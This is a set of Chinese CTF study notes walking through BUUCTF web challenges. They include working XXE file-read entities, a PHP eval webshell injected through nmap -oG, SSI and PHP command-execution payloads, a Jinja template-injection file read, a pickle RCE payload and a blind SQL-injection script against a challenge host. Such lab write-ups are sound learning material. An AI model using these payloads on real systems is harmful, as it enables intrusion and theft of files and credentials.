[NCTF2019]Fake XML cookbook
做了一下,没什么思路,看了wp,说是xxe
于是去看xxe是什么
//这里注意xxe首先要抓包,然后再观察回显
//XXE 可以归结为一句话:构造恶意 DTD,libxml>=2.9.0的版本中没有XXE漏洞。
XML外部实体注入
XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。
XXE检测
主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。
如图,首先检测XML是否会被成功解析:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>
这里发现有一个XMLHTTPREQUEST,
构造恶意实体传入
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
payload解释:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。
standalone值是yes的时候表示DTD仅用于验证文档结构,从而外部实体将被禁用,但它的默认值是no,而且有些parser会直接忽略这一项。
按实体有无参分类,实体分为一般实体和参数实体,一般实体的声明:<!ENTITY 实体名称 "实体内容">,引用一般实体的方法:&实体名称;
外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。
因为将file:///flag命名为admin,所以下面用&admin。
[强网杯 2019]高明的黑客
这道题应该是比较难的,下载下来有3000+文件,需要我们用爬虫来分析代码找到有回显的get或者post
大佬的脚本
import os import requests import re import threading import time print('start: '+ time.asctime( time.localtime(time.time()) )) #输出当前日期时间 s1=threading.Semaphore(100) #线程数100 filePath = r"E:\phpstudy\phpstudy_pro\WWW\src" #为文件地址 os.chdir(filePath) #改变当前工作目录到指定的路径 #本来的工作目录在D盘,修改到文件所在地址 requests.adapters.DEFAULT_RETRIES = 5 #连接失败后重连的次数为5次,因为如果线程如果太高,可能访问有时会报错 files = os.listdir(filePath) #列出filePath路径下所有文件名 session = requests.Session() #保持会话 session.keep_alive = False #设置连接活跃状态为False def get_content(file): s1.acquire() #多个线程共同对某个数据修改,则可能出现不可预料的结果,为了保证数据的正确性,需要对多个线程进行同步。共享数据。 #比如a要访问flag这个参数,但b正在访问,那么先暂停a,等b执行完在执行a。 print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) )) #输出时间 with open(file,encoding='utf-8') as f: #以utf-8打开文件 gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) #全局正则匹配,读出当前文件的所有get参数 #\$对$转义\[、\'、\]同样是转义,(.*?)以非贪婪模式匹配\' \'内的所有字符串,并分组 posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read())) #全局正则匹配,读出当前文件的所有post参数 data = {} params = {} #data数组存post参数值,params存get参数名 for m in gets: params[m] = "echo 'xxxxxx';" for n in posts: data[n] = "echo 'xxxxxx';" #把所有的get和post参数名以键名的方式赋给data和params,并赋值echo 'xxxxxx'; #赋值echo 'xxxxxx';是为了方便我们判断此参数有没有用。 url = 'http://localhost/src/'+file req = session.post(url, data=data, params=params) #会话方式,和requests.post访问查不多,但在这里会更快,它不需要不停重新访问。 #一次性请求所有的GET和POST req.close() #关闭会话,释放内存 req.encoding = 'utf-8' content = req.text #得到所有访问的页面内容 #print(content) if "xxxxxx" in content: #如果发现存在,则继续挨个访问,并筛选出具体的参数 flag = 0 #用来判断是get请求成功,则为1,是post成功则为0 for a in gets: req = session.get(url+'?%s='%a+"echo 'xxxxxx';") content = req.text req.close() if "xxxxxx" in content: flag = 1 break if flag != 1: #如果此时flag不为1,则说明get所有参数都不存在 for b in posts: req = session.post(url, data={b:"echo 'xxxxxx';"}) content = req.text req.close() if "xxxxxx" in content: break if flag == 1: param = a #如果flag为1,则记录param为a,也就是此时get参数名 else: param = b print('file: '+file+" and param:%s" %param) #输出成功的文件名和参数名 print('endtime: ' + time.asctime(time.localtime(time.time()))) s1.release() #释放锁,开始下一个线程 for i in files: t = threading.Thread(target=get_content, args=(i,)) t.start() #线程开始
//requests.session()会话保持:session,访问时的会话状态,
requests库的session会话对象可以跨请求保持某些参数,说白了,就是比如你使用session成功的登录了某个网站,则在再次使用该session对象求求该网站的其他网页都会默认使用该session之前使用的cookie等参数
尤其是在保持登陆状态时运用的最多,在某些网站抓取,或者app抓取时,有的时强制登陆,有的是不登陆返回的数据就是假的或者说是不完整的数据,那我们不可能去做到每一次请求都要去登陆一下怎么办,就需要用到保持会话的功能了,我们可以只登陆一次,然后保持这种状态去做其他的或者更多的请求。
//多线程
s1=threading.Semaphore(100)
//os库,系统命令库,所以os.chdir(filePath)改变文件路径
//s1.acquire锁线程
[BJDCTF2020]Cookie is so stable
ssti漏洞
一篇文章带你理解漏洞之 SSTI 漏洞 | K0rz3n's Blog
[WUSTCTF2020]朴实无华
仔细排查,抓包,得到线索
intval()传入科学计数法时,1e2等于1
但是1e2+1等于101可以绕过
md5强等于MD5,可以数组,如果string了,那么只能强碰撞。
md5弱等于时,0e开头会呗科学计数法,结果均为0,此时可以衍生出md5==MD5(md5)满足的值为0e215962017
[安洵杯 2019]easy_serialize_php
过滤了一些字符,还没理清思路
然后看extract()函数的功能:
extract()可以覆盖变量
extract($_POST)就是将post的内容作为这个函数的参数。
如果post传参为_SESSION[flag]=123,那么$_SESSION["user"]和$_SESSION["function"]的值都会被覆盖。
至于为什么post要传_SESSION[flag]=123而不是$_SESSION[flag]=123,是因为_SESSION是变量名,如果传$_SESSION,那么就会失效。
post一个数据。
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}这个肯定就是我们预期的那段序列化字符,
那么 ;s:1:"1"; 这几个字符呢?
如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。
并且这个字符串得好好读才能不蒙圈。
$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}"; $_SESSION['img'] = base64_encode('guest_img.png'); var_dump( serialize($_SESSION) ); #"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}" ;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
经过filter过滤后phpflag就会被替换成空,
s:7:"phpflag";s:48:" 就变成了 s:7:"";s:48:";即完成了逃逸。
两个键值分别被序列化成了
s:7:"";s:48:";s:1:"1";即键名叫";s:48: 对应的值为一个字符串1。这个键值对只要能瞒天过海就行。
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";键名img对应的字符串是d0g3_f1ag.php的base64编码。
右花括号后面的;s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"全被当成孤儿放弃了。
buuctf-[ASIS 2019]Unicorn shop
这里利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞
找一个比1337大的数字
在搜索框中搜索thousand
这里我选择了罗马数字十万
数值是100000
然后utf-8编码化,再字符化
%E2%86%88
[CISCN 2019 初赛]Love Math
80个字符比较少,想办法构造$_GET[1]
再传参getflag,但是其实发现构造这个好像更难。。。因为$
、_
、[
、]
都不能用,同时GET
必须是大写,很难直接构造。
一种payload是这样$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php
分析:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
另一种payload是这样
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:
[WesternCTF2018]shrine
看到flask,想到模板注入
看源码app.config['FLAG'] = os.environ.pop('FLAG')
推测{{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
不过python还有一些内置函数,比如url_for和get_flashed_messages
后面我觉得提示有点过于模糊
[网鼎杯 2020 朱雀组]Nmap
考察Nmap的使用,我都没听过
nmap命令有一个参数-oG可以实现将命令和结果写到文件
这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…
' <?php @eval($_POST["hack"]);?> -oG hack.phtml '这种格式就能注入一句话木马
这道题php被过滤了,用=和phtml绕过,
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
之后蚁剑链接
[MRCTF2020]Ezpop
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
Modifier::__invoke()<--Test::__get()<--Show::__toString()
[SWPU2019]Web1
sql注入,注入点在广告,不在登录
最终我发现了她过滤了or # --+和空格
这里想一下绕过的方法
空格可以用/**/来代替
–+注释符的话就用单引号闭合就ok
or被过滤了的话就不能使用order by,information_schema
这里使用一个新的注入方法
于是查表名使用select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
跳过爆字段名直接爆值,参考这个
https://www.jianshu.com/p/6eba3370cfab
[MRCTF2020]PYWebsite
X-Forwarded-For:
IP伪造
[NPUCTF2020]ReadlezPHP
打开网址是一个反序列化
playload
[De1CTF 2019]SSRF Me
这道题完全没理解呢,SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
解法一:字符串拼接
虽然secert_key我们不知道,但是产生sign的是这样的:
secert_key + param + scan
1
然后再md5,而我们传入的是这样的:
secert_key + param + readscan
1
因此可以产生sign中param是flag.txtread,下面的param是flag.txt:
看不懂逻辑摆烂
极客大挑战 2019]FinalSQL
import requests import sys import time # 判断数据库名长度 def get_DBlen(url): for i in range(1, 10): db_url = url + "1^1^(length(database())=%d)#" % i r = requests.get(db_url) if "Click" in r.text: print("数据库名称的长度为:%d" % i) return i # 爆数据库名 def get_DBname(url, length): DBname = "" length = length + 1 for i in range(1, length): Max = 122 Min = 41 Mid = (Max + Min) // 2 while Min <= Max: db_url = url + "1^1^(ascii(substr(database(),%d,1))>=%d)#" % (i, Mid) r = requests.get(db_url) if "Click" in r.text: Min = Mid + 1 Mid = (Min + Max) // 2 pass else: Max = Mid - 1 Mid = (Min + Max) // 2 pass pass DBname = DBname + chr(Mid) print("数据库名:", DBname) return DBname def get_TBname(url): name = "" i = 0 print("字段内容为:") while True: i = i + 1 Max = 128 Min = 32 Mid = (Max + Min) // 2 while Min <= Max: # 爆表名 # db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid) # 爆字段名 # db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid) # 获取flag db_url = url + "1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)" % (i, Mid) r = requests.get(db_url) if "Click" in r.text: Min = Mid + 1 Mid = (Min + Max) // 2 pass else: Max = Mid - 1 Mid = (Min + Max) // 2 pass pass name = name + chr(Mid) if Mid == 31: break print(name) # 速度太快显示不完全 time.sleep(0.1) if __name__ == "__main__": url = "http://c3d1aebc-ab74-483c-be75-11ab184efdf4.node4.buuoj.cn:81/search.php?id=" db_Len = get_DBlen(url) db_Name = get_DBname(url, db_Len) tb_name = get_TBname(url) 二分盲注,理解但是自己脚本不太会写,
[SUCTF 2019]Pythonginx
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
这道题有三个if判断,第三个判断成功则可以读取文件,所以我们绕过第一个和第二个, newhost.append(h.encode('idna').decode('utf-8'))
这句代码说idna加密一次utf-8解密一次大佬们写脚本爆破
# coding:utf-8
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass
playload
U:ℭ A:c ascii:8493 ℭ可以替换suctf.cc中的c
U:Ⓣ A:t ascii:9417 Ⓣ可以替换suctf.cc中的t
file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
file://sucⓉf.cc/usr/local/nginx/conf/nginx.conf
[BJDCTF2020]EasySearch
备份文件源码泄露,index.php.swp
源码分析,用户名admin,密码md5值的前6位等于
6d0bc1
import hashlib for i in range(1,100000000): a = hashlib.md5(str(i).encode('utf-8')).hexdigest() if a[0:6]=='6d0bc1': print(i) break
脚本爆破
之后抓包,发现。shtml
ssi漏洞
这里
ssi是赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,若在网站目录中发现了.stm .shtm .shtml等,且对应SSL输入没有过滤,可能存在SSI注入漏洞
简单的说ssi注入就是寻找输入点输入类似<!--#exec cmd="命令" --> 格式,看看能不能运行系统命令
ssi
测试ssi一般用,cat/etc/passwd
没有过滤一般就可以执行系统命令,这里接下来ls,得到所有路径然后可以用爬虫爬取flag,也可以按照wp一样
username=<!--#exec cmd="tac ../f*" -->&password=2020666
[GYCTF2020]FlaskApp
SSTI:渲染未作处理,所以导致加密于解密处有ssti漏洞,{{7}}解密出来7存在漏洞,通过
().class.base读取基类,他有一些绕过,用python的内置函数buitins读取源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
waf了flag,os,不是正则表达可以直接字符拼接绕过
+[WUSTCTF2020]颜值成绩查询
bool盲注
[FBCTF2019]RCEService
[Zer0pts2020]Can you guess it?
正则过滤
PHP_SELF
这里会过滤掉source,所以这里过滤了/config.php/ 和source
他说flag在config.php所以这里要绕过
$secret = bin2hex(random_bytes(64))
这句话会随机产生一个随机数并加密
过滤了爆破
在看到下面if语句有一个highlight_file就肯定是远程文件包含漏洞了,现在我们的步骤是,如何让basename过后的文件名是config.php,再往前,如何让$_SERVER['PHP_SELF']代表config.php的时候同时绕过正则表达式,这就是我们的目标
正则表达式其实应该是"/config.php/*$/i",注意这个$,它代表的是字符串末尾,意思就是只要我们config.php/后面加点东西就可以绕过了,现在就是basename的漏洞了
[CISCN2019 华北赛区 Day1 Web2]ikun
开始找到lv6写个小脚本爆就完事
第二部逻辑漏洞,修改打折
提示只允许admin访问,应该是要 我们修改cookie
修改jwt
在网页 https://jwt.io/ 可以进行jwt的编码和解码,如下图所示。
简而言之,pickle的loads在进行反序列化的时候会调用__reduce__魔术方法,也就可以利用该魔术方法构造
class Try(object):
def __reduce__(self):
return (commands.getoutput, ('cat /flag.txt',))
a = Try()
print(urllib.quote(pickle.dumps(a)))
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
GWCTF 2019]枯燥的抽奖
伪随机数,给了我们10个字符,从中推出种子,然后交给php_mt_seed爆破出字符串,然后一个一个试就行了